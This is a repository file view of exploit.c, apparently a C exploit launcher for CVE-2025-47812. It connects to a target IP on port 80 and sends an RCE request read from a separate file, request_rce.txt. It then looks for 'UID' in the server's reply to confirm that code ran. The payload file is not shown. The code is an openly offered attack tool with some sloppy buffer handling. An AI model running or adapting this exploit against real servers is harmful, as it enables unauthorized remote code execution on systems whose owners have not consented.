Files
Exploit_CVE-2025-47812/exploit.c
T
hexplor 361653d5e1 update
2026-04-26 00:41:52 +02:00

67 lines
1.6 KiB
C

#include <sys/socket.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char** argv){
if (argc != 2){
printf("u must specifie IP addr\n");
exit(1);
}
printf("target = %s\n", argv[1]);
int domain = AF_INET;
int type = SOCK_STREAM;
int fd = socket(domain, type, 0);
printf("fd = %d\n", fd);
struct sockaddr_in dest_addr;
memset(&dest_addr, 0, sizeof(dest_addr));
dest_addr.sin_family = AF_INET;
dest_addr.sin_port = htons(80);
dest_addr.sin_addr.s_addr = inet_addr(argv[1]);
int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
printf("ret_connect = %d\n", ret);
char buffer[1000];
memset(buffer, 0, 100);
FILE* fichier_out = fopen("request_rce.txt", "r");
fseek(fichier_out, 0, SEEK_END);
int size = fichier_out->_offset;
char* file_buffer = malloc(size);
fseek(fichier_out, 0, SEEK_SET);
fread(file_buffer, 1, size, fichier_out);
for (int i = 0; i < size; i++){
char c = file_buffer[i];
if (c == '\n')
send(fd, "\r\n", 2, 0);
else
send(fd, &c, 1, 0);
}
send(fd, "\r\n", 2, 0);
int n;
printf("recv:\n");
const char* pattern_uid = "UID";
while (( n = recv(fd, buffer, 1000, 0)) > 0){
buffer[n] = 0;
int i = 0;
while (buffer[i] != 0){
if (buffer[i] && buffer[i] == pattern_uid[0] && buffer[i+1] == pattern_uid[1] && buffer[i+2] == pattern_uid[2]){
printf("UID found\n");
break;
}
i++;
}
buffer[n] = 0;
memset(buffer, 0, 1000);
//printf("%s", buffer);
}
fclose(fichier_out);
free(file_buffer);
return 0;
}